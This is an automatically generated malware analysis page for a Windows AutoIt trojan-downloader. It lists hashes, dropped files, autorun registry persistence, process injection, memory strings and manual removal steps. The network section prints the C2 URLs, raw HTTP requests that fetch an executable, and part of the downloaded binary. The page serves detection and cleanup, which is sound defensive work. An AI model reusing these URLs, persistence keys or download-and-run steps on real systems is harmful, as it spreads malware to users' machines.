Generic.Malware.dld.572381B0_1e5a99aaf1

by malwarelabrobot on August 4th, 2017 in Malware Descriptions.

HEUR:Trojan-Downloader.Win32.Generic (Kaspersky), Generic.Malware.dld!.572381B0 (B) (Emsisoft), Generic.Malware.dld!.572381B0 (AdAware), Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Worm, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 1e5a99aaf163311ef4204a82549121ad
SHA1: d191a72a8ab898836f4494933e23b6c554ea05d3
SHA256: 90c456df4f1f83217b0d47efe7dfea3060f4761d9887bf7e58ef2f6e5a405de4
SSDeep: 96:g3Q0rrY5zZM9Dy/PPHz0rkJtxGdufxeMLBe3VR:gA0r4tF3z0rBMfcMLgVR
Size: 4608 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2017-07-11 23:13:39
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The Generic creates the following process(es):

rundll32.exe:3796
%original file name%.exe:3504

The Generic injects its code into the following process(es):

rstrui32.exe:2872

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process rstrui32.exe:2872 makes changes in the file system.
The Generic creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\syslog.dat (92 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\9[1].txt (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut905C.tmp (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\9[1].txt (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rstrui32.lnk (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nascohq (1137 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rstrui32.lnk (870 bytes)

The Generic deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut905C.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nascohq (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\9[1].txt (0 bytes)

The process rundll32.exe:3796 makes changes in the file system.
The Generic creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\J40CQXCC\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HVFDSC1N\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\EIAY6B9E\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\2B6GCHED\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)

The process %original file name%.exe:3504 makes changes in the file system.
The Generic creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\syslog.dat (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe (10062 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\dl[1] (40609 bytes)

Registry activity

The process rstrui32.exe:2872 makes changes in the system registry.
The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASMANCS]
"EnableConsoleTracing" = "0"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\rstrui32_RASMANCS]
"MaxFileSize" = "1048576"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Generic adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"rstrui32" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"rstrui32" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe"

The Generic deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

The process %original file name%.exe:3504 makes changes in the system registry.
The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASMANCS]
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\1e5a99aaf163311ef4204a82549121ad_RASMANCS]
"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Generic deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5 File path
c432b3ab8fb973fb8ed603624c589c6d c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\dl[1]
c432b3ab8fb973fb8ed603624c589c6d c:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 36864 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 40960 4096 3584 5.25687 9c23776b863ca1442443213ca6d09ab9
UPX2 45056 4096 512 1.6262 63857a7f7e32bc635234b555569993fa

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://82.211.30.199/dl.exe?token=4824
hxxp://82.211.30.199/ip/9.txt


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile
ET POLICY PE EXE or DLL Windows file download HTTP
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /dl.exe?token=4824 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: 82.211.30.199
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 03 Aug 2017 07:04:57 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Fri, 28 Jul 2017 02:54:23 GMT
ETag: "80600-55557cc6eb720"
Accept-Ranges: bytes
Content-Length: 525824
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........s..R...R...
R....C..P.....;.S..._@#.a..._@[email protected]...[j..[...[jo.w...R...r.....
........#.S..._@'.S...R.k.S.....".S...RichR...................PE..L...
..zY.........."......`...........).......0....@.......................
................@...@.......@.........................$....0..........
..................................................... ..H.............
..............................UPX0....................................
UPX1.....`.......\[email protected].......`........
......@...............................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......3.91.UPX!....2....K.T.....Y...N..&...n......1D....=h........Y. 
.:.M*.T...'.N.9.,.!..ER.N*.Q"[email protected]...;...2/!.u.&.....N.
!v.}..T.Lg. 0.....'SVW..j.[..l........dJ`K.]..y..Nl..(V...Y_....7.^[..
.rp3.Wj._.N..H...^.h..o...~..^.. $...?....f.8..F:..<[email protected]\.^
..`d[..................F|U.....V....[S...X...&.3................l.pt.x
|.]~..........\.f0.....\.........{...J_.....Z{|...V.....4."G.P.......v
...t....H.".....00.....@^...U..].........q...7.u.WVw..m...8...{..../;u
.......E.............}...Q.4j ..._^..]......w....8\@.....i.W.}...$
<<< skipped >>>


GET /ip/9.txt HTTP/1.1
User-Agent: AutoIt
Host: 82.211.30.199
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 03 Aug 2017 07:04:59 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Tue, 11 Jul 2017 16:45:33 GMT
ETag: "19-5540d6d9bf003"
Accept-Ranges: bytes
Content-Length: 25
Content-Type: text/plain
191.96.15.134:3120:31280.HTTP/1.1 200 OK..Date: Thu, 03 Aug 2017 07:04
:59 GMT..Server: Apache/2.4.18 (Ubuntu)..Last-Modified: Tue, 11 Jul 20
17 16:45:33 GMT..ETag: "19-5540d6d9bf003"..Accept-Ranges: bytes..Conte
nt-Length: 25..Content-Type: text/plain..191.96.15.134:3120:31280...

The Generic connects to the servers at the folowing location(s):

rstrui32.exe_2872:

`.rsrc
QRA.Sb
j.Yf;
r%f;M
j.Xf;
j.Zf;
PSSSSSSh
Gt.Ht$
.ku`8iu~fiu
kernel32.dll
?#%X.y
GetProcessWindowStation
operator
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is compiled without UTF support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with Unicode property support
\N is not supported in a class
RegDeleteKeyExW
advapi32.dll
Error text not found (please report)
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
RegDeleteKeyW
RegEnumKeyExW
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
ExitWindowsEx
EnumThreadWindows
keybd_event
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
VkKeyScanW
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
UnregisterHotKey
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
1!<....(
%c=/Kr
<*-('(-)/)((4
H%d=j@
.text
`.rdata
@.data
.rsrc
@.reloc
.rsrO
n..GGHHH
n...GGHHH
n ....HGHHHH
n  ....G.HHH
~~~~{~{{{{
n!! ....HGHHHH
n!!  .....HHHHHH
!!!  ....GGHHH
!!"".....HHHHnv
"""...-.nv
C\.gn
.DimTS
p3.qY7
8.Xd7
-%ugJ
.XkE&g
db.ll
.LJT4
.Qj\=
l.QMV-
x.TY$
2oC)%d
QwEbk '
T5Z2.Mw
T:.uy
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"/>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
KERNEL32.DLL
ADVAPI32.dll
COMCTL32.dll
COMDLG32.dll
GDI32.dll
IPHLPAPI.DLL
MPR.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
SHELL32.dll
USER32.dll
USERENV.dll
UxTheme.dll
VERSION.dll
WININET.dll
WINMM.dll
WSOCK32.dll
/AutoIt3ExecuteScript
/AutoIt3ExecuteLine
CMDLINE
CMDLINERAW
>>>AUTOIT NO CMDEXECUTE<<<
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
HTTPSETUSERAGENT
ISKEYWORD
MAPKEYS
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
SendKeyDownDelay
SendKeyDelay
TCPTimeout
mscoree.dll
combase.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
USER32.DLL
789:;<=>?
APPSKEY
WINDOWSDIR
AUTOITEXE
HOTKEYPRESSED
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
KEYS
\\?\UNC\
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AUTOIT.ERROR
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
3, 3, 14, 2
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.
0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.
3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.
String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

rstrui32.exe_2872_rwx_00D91000_00101000:

j.Yf;
r%f;M
j.Xf;
j.Zf;
PSSSSSSh
Gt.Ht$
.ku`8iu~fiu
kernel32.dll
?#%X.y
GetProcessWindowStation
operator
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is compiled without UTF support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with Unicode property support
\N is not supported in a class
RegDeleteKeyExW
advapi32.dll
Error text not found (please report)
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
RegDeleteKeyW
RegEnumKeyExW
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
ExitWindowsEx
EnumThreadWindows
keybd_event
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
VkKeyScanW
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
UnregisterHotKey
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
1!<....(
%c=/Kr
<*-('(-)/)((4
H%d=j@
.text
`.rdata
@.data
.rsrc
@.reloc
/AutoIt3ExecuteScript
/AutoIt3ExecuteLine
CMDLINE
CMDLINERAW
>>>AUTOIT NO CMDEXECUTE<<<
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
HTTPSETUSERAGENT
ISKEYWORD
MAPKEYS
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
SendKeyDownDelay
SendKeyDelay
TCPTimeout
mscoree.dll
combase.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
USER32.DLL
789:;<=>?
APPSKEY
WINDOWSDIR
AUTOITEXE
HOTKEYPRESSED
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
KEYS
\\?\UNC\
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AUTOIT.ERROR
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
3, 3, 14, 2
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.
0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.
3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.
String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    rundll32.exe:3796
    %original file name%.exe:3504

  2. Delete the original Generic file.
  3. Delete or disinfect the following files created/modified by the Generic:

    C:\Users\"%CurrentUserName%"\AppData\Roaming\syslog.dat (92 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\9[1].txt (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut905C.tmp (588 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\9[1].txt (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rstrui32.lnk (840 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nascohq (1137 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rstrui32.lnk (870 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\J40CQXCC\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HVFDSC1N\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\EIAY6B9E\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\2B6GCHED\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe (10062 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\dl[1] (40609 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "rstrui32" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "rstrui32" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\rstrui32.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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